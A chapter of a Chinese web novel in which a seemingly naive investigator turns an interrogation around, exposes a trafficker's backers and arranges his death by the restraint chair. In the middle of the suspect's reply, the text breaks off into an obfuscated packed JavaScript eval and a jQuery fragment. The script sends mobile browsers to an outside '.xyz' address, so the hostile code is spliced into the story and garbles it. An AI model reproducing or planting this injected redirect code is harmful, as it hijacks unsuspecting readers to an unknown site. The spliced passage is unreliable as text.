审讯室,张海涛的陈述暂时告一段落。
“就这些?没别的了?”
唐晏在两分钟前就有些撑不住,耷拉着眼皮无聊到玩着自己指甲,直到对方的陈述停下才抬头确认一下。
“没了。”
“好吧,没想到说几句你真把同伙全交代了。你也不怎么聪明嘛。”
这话实在气人,威胁是他们威胁的,自己着了人家的道全说了还要被看不起。张海涛恶狠狠地瞪视唐晏,心说这叫什么个事儿。
似乎是察觉到他内心的愤怒,禁锢器控制台上代表危险的警示灯忽然闪烁一下。
……
调查局走廊
“我去监控黑屏了。”
“审讯室门打不开。”
“我们也是。什么情况?!”
隔壁监控室陆续有人探出头。
为了防止意外,审讯室的控制系统独立存在且每星期检修,竟在一时之间全部错乱?!
“叫技术组的人过来。”孟超旭没有对门锁做暴力的无用功,审讯室的系统很复杂,一旦处理不好遭殃的是里面人。
不知道里面怎么样,控制系统错乱什么样稀奇古怪的情况都有。一想到那个新来的小姑娘在里面还没带任何通讯设备,孟超旭就一个头两个大。希望她能冷静一点,哪怕和之前一样坐在自己位置上发呆都好。
可千万别出乱子啊。
……
审讯室里。
离张海涛陈述结束已有两分钟。似乎想知道的已全部问完,唐晏没再说一句话。任由沉默在这个空间里蔓延。
偏生她也不起身离开,低着头继续摆弄她的手指甲,还时不时左右张望两下,眼里带着好奇和兴奋。
这副模样,配合上一张稚嫩的脸,先前就有的猜测在张海涛脑海中渐渐确定。
“怎么,刚参加工作。第一次进这里。”大概觉得反正自己日子没几天了,此人破罐子破摔一点没有作为死刑犯的自觉,竟主动找唐晏搭起话来。
“对啊,你算我第一个犯人。”小姑娘果然没见过什么世面,这时候还能兴冲冲回应他。张海涛本来只是想在有限的生命里找乐子解闷,这下却也来了兴趣。
“是吗,怎么说我还挺荣幸。”
一个单纯的刚毕业的大学生,套起话来可比那些有经验的调查员容易太多。且她刚刚那么说都没人阻止,证明把关的那位应该是有事离开,所谓天赐良机也不过如此。
“像你一个这么漂亮的小姑娘,怎么不进娱乐圈,想不开来当调查员啊?”
“演戏吗?我不行的啦。”唐晏连连摆手。
“哎呀你傻啊,那地方又不是看实力,有这张脸站着不动那些公司都能给你吹上天,哪怕是个草包也有的是人愿意出钱捧你。”
张海涛做扼腕叹息状。
即使见过不少漂亮姑娘他都得承认唐晏在他这边足够排得上前十。她是那种标准的美人,没有哪一个五官突出,也没有一点短板,是大部分公司最喜欢的漂亮但可塑性极强的长相。
“是,是吗?谢谢啊。”对面受宠若惊,脸上泛起红晕,明显被夸得有些不好意思,说完不仅磕巴还有些混乱,“主要我朋友长得比我漂亮都没进娱乐圈,我一直觉得自己不行的。”
比她还漂亮。张海涛心中惊喜,那要是能把她俩都收到手,不愁之后没东山再起的机会,顺便可以换个赛道,那些人前段时间也说需要新的素材。真是赶巧了。
想到未来的好事,又见这会儿没人阻止,他一时间便有些忘乎所以,更加大了劝说力度。
“怎么会,你们就是对自己太不自信,六七分的美女收拾一下都能火,你这样的怕什么。在调查局干活累又累工资又少,成天和一帮男的风里来雨里去,搞不好以后还要因公殉职。到头来一辈子能赚到的钱都比不上人家一天赚的。图什么呀。”
“这……”唐晏眼神游移,看在张海涛眼里就是动摇的信号。
“小姑娘,你这么年轻总要有点梦想的。”
“我的梦想吗?”年轻的调查员愣怔一瞬。
“对啊。”张海涛继续循循善诱,“梦想还是要有的,管他切不切实际,谁知道哪天就实现了呢?你说是不是。”
“你说得对。”唐晏认真点头,“我的梦想是界内和平。”
“界内和平,很不错的……”
等等,不应该是世界和平吗?
张海涛愣住了,脑子终于反应过来刚刚听到了什么,松弛的表情在顷刻间一去不返。他震惊地瞪大眼,猛然发现唐晏不知什么时候已经越过了正常审讯应坐的位子。
“很不错的愿望是吧,我也觉得。”
声音传来,张海涛慌乱地寻找来源,随后定定地对上了一双漆黑的眼。唐晏坐在桌上,黑发披散,居高临下俯视着他。
她的指尖绕着柔顺的发丝,表情再不似刚才单纯无害,话语间是少许无奈和浓重的冷意。
“你说为什么人就不能认清自己的位子,偏偏希望闯进自己没能力遵守的规则里呢?”
禁锢器发出了剧烈的警报,因为其上的人的心率远高于他刚刚的平均值,整张脸都在不受控制地颤抖。唐晏却恍若未觉,用最平静的语气自顾自说着。
“刚才不是还有恃无恐吗?是因为觉着没人可以知道你真正的底牌?政商两界的高层也好,搜检院的议员也罢,你之所以会将那些人出卖得那么痛快,根本不是出于愤怒和恐惧。不过想息事宁人罢了。”
“我听不懂你在说什么。”
张海涛一副拒绝交流的模样,唐晏倒也不恼。
“是吗,那我再说得直白一点吧。借孕,器官买卖……让几个未成年出卖自己就更是小事一桩。你真正赚钱的是替界外的某些组织提供实验数据。他们才是你的靠山。
至于其他人,你将他们推在台前,用作阻止我们继续调查的假的真相。用来防止真正的幕后黑手被找到。只要他们还在,你就觉得自己不可能真的出事,不过是改头换面从新开始罢了。
可事到如今,你觉得他们还会保你吗?”
“……什么界外,这位调查员小姐,我是真不明白你的意思啊。于丰年那些人做的事我都已经告诉你了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16096871|173869||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
真的没有隐瞒什么。”
张海涛颤抖着在心中一遍遍告诉自己不要听不要信,这只是他们在诈他。他试图维持着最后一丝理智,却在唐晏下一席话中尽数崩溃。
“想知道那些资料哪来的吗?是我从你跑到那边的手下那里带来的。你说都过去大半天了,那些人有多少可能性还不知道呢?你说他们知道你没把那些东西留住,灭了你的口来保证自己安全的可能性又有多少。他们不比搜检院那些能被你推出来当证据的草包。你也清楚吧。”
……
监控室
“龚常,线路怎么样?能修好吗?”孟超旭脸上凝重地站在正疯狂测试程序的龚常背后。还算是幸运,他们局里有这位牛人,要是一般情况由陈局上报搜检院,再由搜检院派研究所的人来,唐晏他们起码要在里面困大半天。
“一部分运行错乱,里面应该没什么情况,只是两边联系被切断。我这边重新对接一下端口,十分钟左右吧。”
……
“他们不会这样做的,我手上有他们最想知道的东西。只要他们一天不拿到,我就一天不可能出事。”
再隐瞒下去没有意义,更何况张海涛对自己手上的保命符有着绝对的自信——据他所知,那可是界外那几大巨头都想要的研究数据。索性就承认了自己的处境。
“只是我没有想到,游离者竟然会来一个小小的调查局,是我的失策。早知道在那通电话打进来后就该先换地方。”
不过现在也没有关系,只是损失一点实验品而已。
“脑电波干扰。你的免死金牌是这个吧。”
“对。看来你也知道。”
“原来如此。那你觉得,如果你死在这里,他们会怎么想。”
“我说过他们不可能让我死。”张海涛起先还没搞懂意思,在那自信满满地解释。
“不不不,我说的可不是让你接受法律的惩罚。是在这个地方死掉。你也是游离者就该知道,这个身份互相残杀是没有任何约束的。”
“你要杀掉我?别搞笑了,你来这里也是有目的的吧,杀了我你的身份暴露自然也讨不了好。”
话虽这么说,张海涛却是色厉内荏,因为他分明看到了唐晏眼中的森然,明明,她是笑着的。
笑着指了指他身下的禁锢器。
“不是我杀你哦,这个东西可以瞬间释放出100mA的电流,大概五秒你就可以变成一堆没什么用的无机物。正好这会儿审讯室的系统出了点小问题,门和监控都开不了,想来禁锢器抽个风也不是不可以。”
“是你篡改的系统!”
“谁知道呢?但如果你死在这种意外上,我想那几个让你替他们实验的家伙一定会觉得是有人为了私吞实验结果将你灭口。到时候他们会互相猜忌,在界外大打出手。等那边乱起来,也就不会有东西想着来霍霍人类。到时候我的梦想说不定可以暂时实现。”
唐晏露出了真心实意的笑,两步走到张海涛面前,从大拇指指甲盖上取下一个微型芯片往禁锢器某处放。
“为了我的梦想,就委屈你一下吧。”